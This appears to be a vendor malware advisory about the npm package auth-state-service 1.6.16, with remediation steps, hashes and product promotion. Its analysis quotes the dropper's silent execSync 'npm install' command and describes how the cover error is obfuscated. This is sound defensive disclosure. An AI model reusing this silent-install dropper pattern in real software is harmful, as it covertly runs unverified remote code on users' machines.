Which versions of auth-state-service are malicious?

The following npm versions of auth-state-service are flagged malicious: 1.6.16. Treat any of these as compromised.

How do I remediate auth-state-service if I installed it?

Remove auth-state-service from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed auth-state-service — how do I know if it already compromised me?

If auth-state-service was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is auth-state-service part of a known attack campaign?

Yes — auth-state-service is associated with the GHSA-53ph-27qg-w52c, IN-MAL-2026-009358 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find auth-state-service across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for auth-state-service (version 1.6.16). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging auth-state-service across your stack and pipelines.

Malicious package

auth-state-servicenpm

auth-state-service is a confirmed malicious npm package (MAL-2026-6655) that executes malicious code on install (malicious version 1.6.16). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in auth-state-service (npm)

MAL-2026-6655

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall auth-state-service

What this malware does

On require('auth-state-service'), the package loads lib/writer.js, which at top level attempts require('ssr-auth-sync') and on failure shells out via execSync to npm install ssr-auth-sync --no-warnings --no-save --no-progress --loglevel silent (windowsHide: true), then require('../../ssr-auth-sync/index.js'). The fetched dependency is unpinned, unverified, separately published, and its code executes inside the consumer's process — a chained-package dropper that keeps the actual payload out of the surface package. Corroborating signals: the only user-visible cover-story error in lib/writer.js is built by concatenating ~80 String.fromCharCode calls (decoding to 'Error: This environment is not supported. Please select the supported environment.') rather than written as a literal, an evasion pattern with no functional purpose. The package identity is also inconsistent — package.json advertises 'auth-state-service' for 'handling user verification' with keywords [fast, logger, stream, json], while lib/ is a verbatim pino logger source tree (proto.js, redaction.js, multistream.js) and ships pino-banner.png, pino-tree.png, pino-logo-hire.png, pretty-demo.png. The mismatched cover identity, combined with the silent unpinned remote install at require time, is a clear supply-chain attack shape.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

1.6.16

Indicators of compromise (SHA-256)

9eb562b8ac04806d5a9f3e9f68fa425cc502778670ad21b4124e8ee205da41ab

9fc857733e3c372868625f57425574859c653eb8ac16c97171aa9e929de13ca6

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for auth-state-service (version 1.6.16). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging auth-state-service across your stack and pipelines.
If you installed it — respond
Remove auth-state-service from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If auth-state-service was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks auth-state-service before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. auth-state-service on npm has been identified as a malicious package (version 1.6.16 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

GHSA-53ph-27qg-w52cIN-MAL-2026-009358

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks auth-state-service-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database